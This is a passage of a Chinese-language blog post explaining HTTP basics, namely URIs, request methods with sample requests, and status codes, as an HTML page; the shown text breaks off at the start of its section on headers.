<!DOCTYPE html>


  <html class="dark page-post">


<head><meta name="generator" content="Hexo 3.9.0">
  <meta charset="utf-8">
  
  <title>HTTP协议系列（一） | Poetry&#39;s Blog</title>

  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">

  
    <meta name="keywords" content="HTTP,">
  

  <meta name="description" content="一 、基础概念1.1 Web 基础 HTTP（HyperText Transfer Protocol，超文本传输协议）。 WWW（World Wide Web）的三种技术：HTML、HTTP、URL。 RFC（Request for Comments，征求修正意见书），互联网的设计文档。  1.2 URL URI（Uniform Resource Indentifier`，统一资源标识符） URL">
<meta name="keywords" content="HTTP">
<meta property="og:type" content="article">
<meta property="og:title" content="HTTP协议系列（一）">
<meta property="og:url" content="http://blog.poetries.top/2018/02/26/http-1/index.html">
<meta property="og:site_name" content="Poetry&#39;s Blog">
<meta property="og:description" content="一 、基础概念1.1 Web 基础 HTTP（HyperText Transfer Protocol，超文本传输协议）。 WWW（World Wide Web）的三种技术：HTML、HTTP、URL。 RFC（Request for Comments，征求修正意见书），互联网的设计文档。  1.2 URL URI（Uniform Resource Indentifier`，统一资源标识符） URL">
<meta property="og:locale" content="zh-Hans">
<meta property="og:image" content="http://7xq6al.com1.z0.glb.clouddn.com/http-1.jpg">
<meta property="og:image" content="http://7xq6al.com1.z0.glb.clouddn.com/http2.png">
<meta property="og:image" content="http://7xq6al.com1.z0.glb.clouddn.com/http-3.png">
<meta property="og:image" content="http://7xq6al.com1.z0.glb.clouddn.com/http-4.jpg">
<meta property="og:image" content="http://7xq6al.com1.z0.glb.clouddn.com/http-5.png">
<meta property="og:image" content="http://7xq6al.com1.z0.glb.clouddn.com/http-6.png">
<meta property="og:image" content="http://7xq6al.com1.z0.glb.clouddn.com/http-7.jpg">
<meta property="og:image" content="http://7xq6al.com1.z0.glb.clouddn.com/http-8.png">
<meta property="og:image" content="http://7xq6al.com1.z0.glb.clouddn.com/http-9.png">
<meta property="og:image" content="http://7xq6al.com1.z0.glb.clouddn.com/http-10.png">
<meta property="og:updated_time" content="2020-08-15T04:25:31.910Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="HTTP协议系列（一）">
<meta name="twitter:description" content="一 、基础概念1.1 Web 基础 HTTP（HyperText Transfer Protocol，超文本传输协议）。 WWW（World Wide Web）的三种技术：HTML、HTTP、URL。 RFC（Request for Comments，征求修正意见书），互联网的设计文档。  1.2 URL URI（Uniform Resource Indentifier`，统一资源标识符） URL">
<meta name="twitter:image" content="http://7xq6al.com1.z0.glb.clouddn.com/http-1.jpg">

  

  
    <link rel="icon" href="/favicon.ico">
  

  <link href="/css/styles.css?v=c114cbeddx" rel="stylesheet">
<link href="/css/other.css?v=c114cbeddx" rel="stylesheet">


  
    <link rel="stylesheet" href="/css/personal-style.css">
  

  

  
  <script type="text/javascript">
    var _hmt = _hmt || [];
    (function() {
      var hm = document.createElement("script");
      hm.src = "//hm.baidu.com/hm.js?40b1f89aa80f2527b3db779c6898c879";
      var s = document.getElementsByTagName("script")[0];
      s.parentNode.insertBefore(hm, s);
    })();
  </script>


  
  <script type="text/javascript">
	(function(){
	    var bp = document.createElement('script');
	    var curProtocol = window.location.protocol.split(':')[0];
	    if (curProtocol === 'https') {
	        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';        
	    }
	    else {
	        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
	    }
	    var s = document.getElementsByTagName("script")[0];
	    s.parentNode.insertBefore(bp, s);
	})();
  </script>



  
    <script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
    <link rel="stylesheet" href="//cdn.bootcss.com/font-awesome/4.3.0/css/font-awesome.min.css">
  

  <!-- 聊天系统 -->
  
    
   <link type="text/css" rel="stylesheet" href="/renxi/default.css">
   <style>
      #modal {
        position: static !important;
      }
      .filter {
        width: 100%;
        height: 100%;
        position: absolute;
        top: 0;
        left: 0;
        background: #fe5757;
        animation: colorChange 30s ease-in-out infinite;
        animation-fill-mode: both;
        mix-blend-mode: overlay;
      }
  
      @keyframes colorChange {
        0%, 100% {
            opacity: 0;
        }
        50% {
            opacity: .9;
        }
      }
   </style>
</head>
</html>
<body>
  
  
    <span id="toolbox-mobile" class="toolbox-mobile">导航</span>
  

  <div class="post-header CENTER">
   
  <div class="toolbox">
    <a class="toolbox-entry" href="/">
      <span class="toolbox-entry-text">导航</span>
      <i class="icon-angle-down"></i>
      <i class="icon-home"></i>
    </a>
    <ul class="list-toolbox">
      
        <li class="item-toolbox">
          <a
            class="CIRCLE"
            href="/archives/"
            rel="noopener noreferrer"
            target="_self"
            >
            博客
          </a>
        </li>
      
        <li class="item-toolbox">
          <a
            class="CIRCLE"
            href="/categories/"
            rel="noopener noreferrer"
            target="_self"
            >
            分类
          </a>
        </li>
      
        <li class="item-toolbox">
          <a
            class="CIRCLE"
            href="/tags/"
            rel="noopener noreferrer"
            target="_self"
            >
            标签
          </a>
        </li>
      
        <li class="item-toolbox">
          <a
            class="CIRCLE"
            href="/search/"
            rel="noopener noreferrer"
            target="_self"
            >
            搜索
          </a>
        </li>
      
        <li class="item-toolbox">
          <a
            class="CIRCLE"
            href="/link/"
            rel="noopener noreferrer"
            target="_self"
            >
            友链
          </a>
        </li>
      
        <li class="item-toolbox">
          <a
            class="CIRCLE"
            href="/about/"
            rel="noopener noreferrer"
            target="_self"
            >
            关于
          </a>
        </li>
      
    </ul>
  </div>


</div>


  <div id="toc" class="toc-article">
    <strong class="toc-title">文章目录<i class="iconfont toc-title" style="display:inline-block;color:#87998d;width:20px;height:20px;">&#xf004b;</i></strong>
    <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#一-、基础概念"><span class="toc-text">一 、基础概念</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#1-1-Web-基础"><span class="toc-text">1.1 Web 基础</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#1-2-URL"><span class="toc-text">1.2 URL</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#1-3-请求和响应报文"><span class="toc-text">1.3 请求和响应报文</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#1-3-1-请求报文"><span class="toc-text">1.3.1 请求报文</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#1-3-2-响应报文"><span class="toc-text">1.3.2. 响应报文</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#二、HTTP-方法"><span class="toc-text">二、HTTP 方法</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#2-1-GET"><span class="toc-text">2.1 GET</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-2-HEAD"><span class="toc-text">2.2 HEAD</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-3-POST"><span class="toc-text">2.3 POST</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-4-PUT"><span class="toc-text">2.4 PUT</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-5-PATCH"><span class="toc-text">2.5 PATCH</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-6-DELETE"><span class="toc-text">2.6 DELETE</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-7-OPTIONS"><span class="toc-text">2.7 OPTIONS</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-8-CONNECT"><span class="toc-text">2.8 CONNECT</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-9-TRACE"><span class="toc-text">2.9 TRACE</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#三、HTTP-状态码"><span class="toc-text">三、HTTP 状态码</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#3-1-1XX-信息"><span class="toc-text">3.1 1XX 信息</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#3-2-2XX-成功"><span class="toc-text">3.2 2XX 成功</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#3-3-3XX-重定向"><span class="toc-text">3.3 3XX 重定向</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#3-4-4XX-客户端错误"><span class="toc-text">3.4 4XX 客户端错误</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#3-5-5XX-服务器错误"><span class="toc-text">3.5 5XX 服务器错误</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#四、HTTP-首部"><span class="toc-text">四、HTTP 首部</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#4-1-通用首部字段"><span class="toc-text">4.1 通用首部字段</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#4-2-请求首部字段"><span class="toc-text">4.2 请求首部字段</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#4-3-响应首部字段"><span class="toc-text">4.3 响应首部字段</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#4-4-实体首部字段"><span class="toc-text">4.4 实体首部字段</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#五、具体应用"><span class="toc-text">五、具体应用</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#5-1-Cookie"><span class="toc-text">5.1 Cookie</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#5-1-1-创建过程"><span class="toc-text">5.1.1 创建过程</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#5-1-2-分类"><span class="toc-text">5.1.2 分类</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#5-1-3-Set-Cookie"><span class="toc-text">5.1.3 Set-Cookie</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#5-1-4-Session-和-Cookie-区别"><span class="toc-text">5.1.4 Session 和 Cookie 区别</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#5-1-5-浏览器禁用-Cookie-的情况"><span class="toc-text">5.1.5 浏览器禁用 Cookie 的情况</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#5-1-6-使用-Cookie-实现用户名和密码的自动填写"><span class="toc-text">5.1.6 使用 Cookie 实现用户名和密码的自动填写</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#5-2-缓存"><span class="toc-text">5.2 缓存</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#5-2-1-优点"><span class="toc-text">5.2.1 优点</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#5-2-2-实现方法"><span class="toc-text">5.2.2 实现方法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#5-2-3-Cache-Control-字段"><span class="toc-text">5.2.3 Cache-Control 字段</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#5-2-4-no-cache-指令"><span class="toc-text">5.2.4 no-cache 指令</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#5-2-5-no-store-指令"><span class="toc-text">5.2.5 no-store 指令</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#5-2-6-max-age-指令"><span class="toc-text">5.2.6 max-age 指令</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#5-3-持久连接"><span class="toc-text">5.3 持久连接</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#5-4-管线化处理"><span class="toc-text">5.4 管线化处理</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#5-5-编码"><span class="toc-text">5.5 编码</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#5-6-分块传输编码"><span class="toc-text">5.6 分块传输编码</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#5-7-多部分对象集合"><span class="toc-text">5.7 多部分对象集合</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#5-8-范围请求"><span class="toc-text">5.8 范围请求</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#5-9-内容协商"><span class="toc-text">5.9 内容协商</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#5-10-虚拟主机"><span class="toc-text">5.10 虚拟主机</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#5-11-通信数据转发"><span class="toc-text">5.11 通信数据转发</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#5-11-1-代理"><span class="toc-text">5.11.1 代理</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#2-网关"><span class="toc-text">2. 网关</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#3-隧道"><span class="toc-text">3. 隧道</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#六、HTTPs"><span class="toc-text">六、HTTPs</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#6-1-加密"><span class="toc-text">6.1 加密</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#6-1-1-对称密钥加密"><span class="toc-text">6.1.1 对称密钥加密</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#6-1-2-公开密钥加密"><span class="toc-text">6.1.2 公开密钥加密</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#6-1-3-HTTPs-采用的加密方式"><span class="toc-text">6.1.3 HTTPs 采用的加密方式</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#6-2-认证"><span class="toc-text">6.2 认证</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#6-3-完整性"><span class="toc-text">6.3 完整性</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#七、Web-攻击技术"><span class="toc-text">七、Web 攻击技术</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#7-1-攻击模式"><span class="toc-text">7.1 攻击模式</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#7-1-1-主动攻击"><span class="toc-text">7.1.1 主动攻击</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#7-1-2-被动攻击"><span class="toc-text">7.1.2 被动攻击</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#7-2-跨站脚本攻击"><span class="toc-text">7.2 跨站脚本攻击</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#7-2-1-概念"><span class="toc-text">7.2.1 概念</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#7-2-2-危害"><span class="toc-text">7.2.2 危害</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#7-2-3-防范手段"><span class="toc-text">7.2.3 防范手段</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#7-3-跨站点请求伪造"><span class="toc-text">7.3 跨站点请求伪造</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#7-3-1-概念"><span class="toc-text">7.3.1 概念</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#7-3-2-防范手段"><span class="toc-text">7.3.2 防范手段</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#7-4-SQL-注入攻击"><span class="toc-text">7.4 SQL 注入攻击</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#7-4-1-概念"><span class="toc-text">7.4.1 概念</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#7-4-2-攻击原理"><span class="toc-text">7.4.2 攻击原理</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#7-4-3-危害"><span class="toc-text">7.4.3 危害</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#7-4-4-防范手段"><span class="toc-text">7.4.4 防范手段</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#7-5-拒绝服务攻击"><span class="toc-text">7.5 拒绝服务攻击</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#7-5-1-概念"><span class="toc-text">7.5.1 概念</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#八、GET-和-POST-的区别"><span class="toc-text">八、GET 和 POST 的区别</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#8-1-参数"><span class="toc-text">8.1 参数</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#8-2-安全"><span class="toc-text">8.2 安全</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#8-3-幂等性"><span class="toc-text">8.3 幂等性</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#8-4-可缓存"><span class="toc-text">8.4 可缓存</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#8-5-XMLHttpRequest"><span class="toc-text">8.5 XMLHttpRequest</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#九、各版本比较"><span class="toc-text">九、各版本比较</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#9-1-HTTP-1-0-与-HTTP-1-1-的区别"><span class="toc-text">9.1 HTTP/1.0 与 HTTP/1.1 的区别</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#9-2-HTTP-1-1-与-HTTP-2-0-的区别"><span class="toc-text">9.2 HTTP/1.1 与 HTTP/2.0 的区别</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#9-2-1-多路复用"><span class="toc-text">9.2.1 多路复用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-2-2-首部压缩"><span class="toc-text">9.2.2 首部压缩</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-2-3-服务端推送"><span class="toc-text">9.2.3 服务端推送</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-2-4-二进制格式"><span class="toc-text">9.2.4 二进制格式</span></a></li></ol></li></ol></li></ol>
  </div>
  




<div class="content content-post CENTER">
   <!-- canvas 彩带 -->
<canvas id="evanyou" width="1302" height="678" style="position: fixed;width: 100%;height: 100%;top: 0;left:0;z-index:-1;"></canvas>

<article id="post-http-1" class="article article-type-post" itemprop="blogPost">
  <header class="article-header" style="position:relative;">
    <h1 class="post-title">HTTP协议系列（一）</h1>

    <div class="article-meta">
      <span>
        <i class="icon-calendar"></i>
        <span>2018.02.26</span>
      </span>

      
        <span class="article-author">
          <i class="icon-user"></i>
          <span>Poetry</span>
        </span>
      

      
  <span class="article-category">
    <i class="icon-list"></i>
    <a class="article-category-link" href="/categories/Back-end/">Back-end</a>
  </span>



      

      
      <i class="fa fa-eye"></i> 
        <span id="busuanzi_container_page_pv">
           &nbsp热度 <span id="busuanzi_value_page_pv">
           <i class="fa fa-spinner fa-spin"></i></span>℃
        </span>
      
      
       
          <span class="post-count">
            <i class="fa fa-file-word-o"></i>&nbsp
            <span>字数统计 7.8k字</span>
          </span>

          <span class="post-count">
            <i class="fa fa-columns"></i>&nbsp
            <span>阅读时长 29分</span>
          </span>
      
      
    </div>

    <i class="iconfont" id="toc-eye" style="display:inline-block;color:#b36619;position:absolute;top:0;right:0;cursor:pointer;
    font-size: 24px;">&#xe61c;</i>

  </header>

  <div class="article-content">
    
      <div id="container">
        <h1 id="一-、基础概念"><a href="#一-、基础概念" class="headerlink" title="一 、基础概念"></a>一 、基础概念</h1><h2 id="1-1-Web-基础"><a href="#1-1-Web-基础" class="headerlink" title="1.1 Web 基础"></a>1.1 Web 基础</h2><ul>
<li><code>HTTP</code>（<code>HyperText Transfer Protocol</code>，超文本传输协议）。</li>
<li><code>WWW（World Wide Web）</code>的三种技术：<code>HTML</code>、<code>HTTP</code>、<code>URL</code>。</li>
<li><code>RFC</code>（<code>Request for Comments</code>，征求修正意见书），互联网的设计文档。</li>
</ul>
<h2 id="1-2-URL"><a href="#1-2-URL" class="headerlink" title="1.2 URL"></a>1.2 URL</h2><ul>
<li><code>URI（</code>Uniform Resource Indentifier`，统一资源标识符）</li>
<li><code>URL</code>（<code>Uniform Resource Locator</code>，统一资源定位符）</li>
<li><code>URN</code>（<code>Uniform Resource Name</code>，统一资源名称），例如 <code>urn:isbn:0-486-27557-4</code>。</li>
</ul>
<blockquote>
<p><code>URI</code> 包含 <code>URL</code> 和 <code>URN</code>，目前 <code>WEB</code> 只有 <code>URL</code> 比较流行，所以见到的基本都是 <code>URL</code>。</p>
</blockquote>
<p><img src="http://7xq6al.com1.z0.glb.clouddn.com/http-1.jpg" alt></p>
<h2 id="1-3-请求和响应报文"><a href="#1-3-请求和响应报文" class="headerlink" title="1.3 请求和响应报文"></a>1.3 请求和响应报文</h2><h3 id="1-3-1-请求报文"><a href="#1-3-1-请求报文" class="headerlink" title="1.3.1 请求报文"></a>1.3.1 请求报文</h3><p><img src="http://7xq6al.com1.z0.glb.clouddn.com/http2.png" alt></p>
<h3 id="1-3-2-响应报文"><a href="#1-3-2-响应报文" class="headerlink" title="1.3.2. 响应报文"></a>1.3.2. 响应报文</h3><p><img src="http://7xq6al.com1.z0.glb.clouddn.com/http-3.png" alt></p>
<h1 id="二、HTTP-方法"><a href="#二、HTTP-方法" class="headerlink" title="二、HTTP 方法"></a>二、HTTP 方法</h1><ul>
<li>客户端发送的  <strong>请求报文</strong>  第一行为请求行，包含了方法字段。</li>
</ul>
<h2 id="2-1-GET"><a href="#2-1-GET" class="headerlink" title="2.1 GET"></a>2.1 GET</h2><blockquote>
<p>获取资源</p>
</blockquote>
<ul>
<li>当前网络请求中，绝大部分使用的是 <code>GET</code> 方法。</li>
</ul>
<h2 id="2-2-HEAD"><a href="#2-2-HEAD" class="headerlink" title="2.2 HEAD"></a>2.2 HEAD</h2><blockquote>
<p>获取报文首部</p>
</blockquote>
<ul>
<li>和 <code>GET</code> 方法一样，但是不返回报文实体主体部分。</li>
<li>主要用于确认 <code>URL</code> 的有效性以及资源更新的日期时间等。</li>
</ul>
<h2 id="2-3-POST"><a href="#2-3-POST" class="headerlink" title="2.3 POST"></a>2.3 POST</h2><blockquote>
<p>传输实体主体</p>
</blockquote>
<ul>
<li><code>POST</code> 主要用来传输数据，而 <code>GET</code> 主要用来获取资源。</li>
</ul>
<h2 id="2-4-PUT"><a href="#2-4-PUT" class="headerlink" title="2.4 PUT"></a>2.4 PUT</h2><blockquote>
<p>上传文件</p>
</blockquote>
<ul>
<li>由于自身不带验证机制，任何人都可以上传文件，因此存在安全性问题，一般不使用该方法。</li>
</ul>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line">PUT /new.html HTTP/1.1</span><br><span class="line">Host: example.com</span><br><span class="line">Content-type: text/html</span><br><span class="line">Content-length: 16</span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>New File<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br></pre></td></tr></table></figure>
<h2 id="2-5-PATCH"><a href="#2-5-PATCH" class="headerlink" title="2.5 PATCH"></a>2.5 PATCH</h2><blockquote>
<p>对资源进行部分修改</p>
</blockquote>
<ul>
<li><code>PUT</code> 也可以用于修改资源，但是只能完全替代原始资源，<code>PATCH</code> 允许部分修改。</li>
</ul>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line">PATCH /file.txt HTTP/1.1</span><br><span class="line">Host: www.example.com</span><br><span class="line">Content-Type: application/example</span><br><span class="line">If-Match: "e0023aa4e"</span><br><span class="line">Content-Length: 100</span><br><span class="line"></span><br><span class="line">[description of changes]</span><br></pre></td></tr></table></figure>
<h2 id="2-6-DELETE"><a href="#2-6-DELETE" class="headerlink" title="2.6 DELETE"></a>2.6 DELETE</h2><blockquote>
<p>删除文件</p>
</blockquote>
<ul>
<li>与 <code>PUT</code> 功能相反，并且同样不带验证机制。</li>
</ul>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line">DELETE /file.html HTTP/1.1</span><br></pre></td></tr></table></figure>
<h2 id="2-7-OPTIONS"><a href="#2-7-OPTIONS" class="headerlink" title="2.7 OPTIONS"></a>2.7 OPTIONS</h2><blockquote>
<p>查询支持的方法</p>
</blockquote>
<ul>
<li>查询指定的 <code>URL</code> 能够支持的方法。</li>
<li>会返回 <code>Allow: GET, POST, HEAD, OPTIONS</code> 这样的内容。</li>
</ul>
<h2 id="2-8-CONNECT"><a href="#2-8-CONNECT" class="headerlink" title="2.8 CONNECT"></a>2.8 CONNECT</h2><blockquote>
<p>要求用隧道协议连接代理</p>
</blockquote>
<ul>
<li>要求在与代理服务器通信时建立隧道，使用 <code>SSL</code>（<code>Secure Sockets Layer</code>，安全套接层）和 <code>TLS</code>（Transport Layer Security，传输层安全）协议把通信内容加密后经网络隧道传输。</li>
</ul>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line">CONNECT www.example.com:443 HTTP/1.1</span><br></pre></td></tr></table></figure>
<p><img src="http://7xq6al.com1.z0.glb.clouddn.com/http-4.jpg" alt></p>
<h2 id="2-9-TRACE"><a href="#2-9-TRACE" class="headerlink" title="2.9 TRACE"></a>2.9 TRACE</h2><blockquote>
<p>追踪路径</p>
</blockquote>
<ul>
<li>服务器会将通信路径返回给客户端。</li>
<li>发送请求时，在 <code>Max-Forwards</code> 首部字段中填入数值，每经过一个服务器就会减 <code>1</code>，当数值为 <code>0</code> 时就停止传输。</li>
<li>通常不会使用 <code>TRACE</code>，并且它容易受到 <code>XST</code> 攻击（<code>Cross-Site Tracing</code>，跨站追踪），因此更不会去使用它。</li>
</ul>
<h1 id="三、HTTP-状态码"><a href="#三、HTTP-状态码" class="headerlink" title="三、HTTP 状态码"></a>三、HTTP 状态码</h1><blockquote>
<p>服务器返回的  <strong>响应报文</strong>  中第一行为状态行，包含了状态码以及原因短语，用来告知客户端请求的结果。</p>
</blockquote>
<table>
<thead>
<tr>
<th style="text-align:center">状态码</th>
<th style="text-align:center">类别</th>
<th style="text-align:center">原因短语</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center"><code>1XX</code></td>
<td style="text-align:center"><code>Informational</code>（信息性状态码）</td>
<td style="text-align:center">接收的请求正在处理</td>
</tr>
<tr>
<td style="text-align:center"><code>2XX</code></td>
<td style="text-align:center"><code>Success</code>（成功状态码）</td>
<td style="text-align:center">请求正常处理完毕</td>
</tr>
<tr>
<td style="text-align:center"><code>3XX</code></td>
<td style="text-align:center"><code>Redirection</code>（重定向状态码）</td>
<td style="text-align:center">需要进行附加操作以完成请求</td>
</tr>
<tr>
<td style="text-align:center"><code>4XX</code></td>
<td style="text-align:center"><code>Client Error</code>（客户端错误状态码）</td>
<td style="text-align:center">服务器无法处理请求</td>
</tr>
<tr>
<td style="text-align:center"><code>5XX</code></td>
<td style="text-align:center"><code>Server Error</code>（服务器错误状态码）</td>
<td style="text-align:center">服务器处理请求出错</td>
</tr>
</tbody>
</table>
<h2 id="3-1-1XX-信息"><a href="#3-1-1XX-信息" class="headerlink" title="3.1 1XX 信息"></a>3.1 1XX 信息</h2><ul>
<li><strong>100 Continue</strong> ：表明到目前为止都很正常，客户端可以继续发送请求或者忽略这个响应。</li>
</ul>
<h2 id="3-2-2XX-成功"><a href="#3-2-2XX-成功" class="headerlink" title="3.2 2XX 成功"></a>3.2 2XX 成功</h2><ul>
<li><p><strong>200 OK</strong> </p>
</li>
<li><p><strong>204 No Content</strong> ：请求已经成功处理，但是返回的响应报文不包含实体的主体部分。一般在只需要从客户端往服务器发送信息，而不需要返回数据时使用。</p>
</li>
<li><p><strong>206 Partial Content</strong> ：表示客户端进行了范围请求。响应报文包含由 Content-Range 指定范围的实体内容。</p>
</li>
</ul>
<h2 id="3-3-3XX-重定向"><a href="#3-3-3XX-重定向" class="headerlink" title="3.3 3XX 重定向"></a>3.3 3XX 重定向</h2><ul>
<li><p><strong>301 Moved Permanently</strong> ：永久性重定向</p>
</li>
<li><p><strong>302 Found</strong> ：临时性重定向</p>
</li>
<li><p><strong>303 See Other</strong> ：和 302 有着相同的功能，但是 303 明确要求客户端应该采用 GET 方法获取资源。</p>
</li>
<li><p>注：虽然 HTTP 协议规定 301、302 状态下重定向时不允许把 POST 方法改成 GET 方法，但是大多数浏览器都会在 301、302 和 303 状态下的重定向把 POST 方法改成 GET 方法。</p>
</li>
<li><p><strong>304 Not Modified</strong> ：如果请求报文首部包含一些条件，例如：If-Match，If-ModifiedSince，If-None-Match，If-Range，If-Unmodified-Since，如果不满足条件，则服务器会返回 304 状态码。</p>
</li>
<li><p><strong>307 Temporary Redirect</strong> ：临时重定向，与 302 的含义类似，但是 307 要求浏览器不会把重定向请求的 POST 方法改成 GET 方法。</p>
</li>
</ul>
<h2 id="3-4-4XX-客户端错误"><a href="#3-4-4XX-客户端错误" class="headerlink" title="3.4 4XX 客户端错误"></a>3.4 4XX 客户端错误</h2><ul>
<li><p><strong>400 Bad Request</strong> ：请求报文中存在语法错误。</p>
</li>
<li><p><strong>401 Unauthorized</strong> ：该状态码表示发送的请求需要有认证信息（BASIC 认证、DIGEST 认证）。如果之前已进行过一次请求，则表示用户认证失败。</p>
</li>
<li><p><strong>403 Forbidden</strong> ：请求被拒绝，服务器端没有必要给出拒绝的详细理由。</p>
</li>
<li><p><strong>404 Not Found</strong> </p>
</li>
</ul>
<h2 id="3-5-5XX-服务器错误"><a href="#3-5-5XX-服务器错误" class="headerlink" title="3.5 5XX 服务器错误"></a>3.5 5XX 服务器错误</h2><ul>
<li><p><strong>500 Internal Server Error</strong> ：服务器正在执行请求时发生错误。</p>
</li>
<li><p><strong>503 Service Unavilable</strong> ：服务器暂时处于超负载或正在进行停机维护，现在无法处理请求。</p>
</li>
</ul>
<h1 id="四、HTTP-首部"><a href="#四、HTTP-首部" class="headerlink" title="四、HTTP 首部"></a>四、HTTP 首部</h1><blockquote>
<p>有 4 种类型的首部字段：通用首部字段、请求首部字段、响应首部字段和实体首部字段</p>
</blockquote>
<ul>
<li>各种首部字段及其含义如下（不需要全记，仅供查阅）：</li>
</ul>
